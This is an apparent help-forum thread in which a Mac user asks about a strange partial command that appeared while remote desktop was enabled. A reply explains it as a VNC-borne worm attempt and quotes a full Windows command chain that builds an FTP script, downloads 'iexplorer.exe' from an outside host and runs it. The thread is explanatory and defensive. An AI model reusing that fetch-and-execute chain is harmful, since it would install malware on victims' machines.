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being hacked - What was he trying to do?

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I was working really late one day and opened and email to type in a message and my keyboard went funny for a second and this line appeared in my email:


lelesa%system32 [... rest lost... ]

del eq&echo open 15588 >> eq&echo user 1386 21513 >> eq &echo get iexplor


The beginning was cut off from my own typing and the end cut off because I disconnected from the net and VPN I was using.


Remote desktop was on and has a strong password to prevent anyone from accessing it. I use PocketCompanion to acces my mac from my iPad.


I've sense removed Remote Desktop/PocketCloud.


My questions is

1) do you know what they were trying to do from that partial command they were typing? From the System32 and iexplor reference it seems they thought I was on a PC.

2) what happened to allow me to catch them typing by me openeing an email.  I would expect they would have been trying to do this in the background in terminal or something. Seems like I got lucky to see that. Maybe because I am not on a PC something didn't execute right?

3) any thoughts on how to stop this from happening again?



Mac OS X (10.6.8)
  • TeenTitan Level 4 Level 4 (2,410 points)
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    Jan 12, 2013 12:52 PM (in response to fightdemon)

    If you google around you'll probable find posts like yours from mac, windows, and other operating systems users. Where VNC was turned on, with a easily gussed password.


    googling I found:

    %systemroot%\system32\cmd.exe del eq&echo open ipAddress port >> eq&echo user Number Number >> eq &echo get iexplorer.exe >> eq &echo quit >> eq &ftp -n -s:eq &iexplorer.exe &del eq j



    There are sevreal known pc viruses that try to vnc into computers an issue similar commands. It look like it was trying to remote into a pc, open the pc command line, and then then make the machine connect to another computer to download some thing, most liekly a virus or get data off of the pc.


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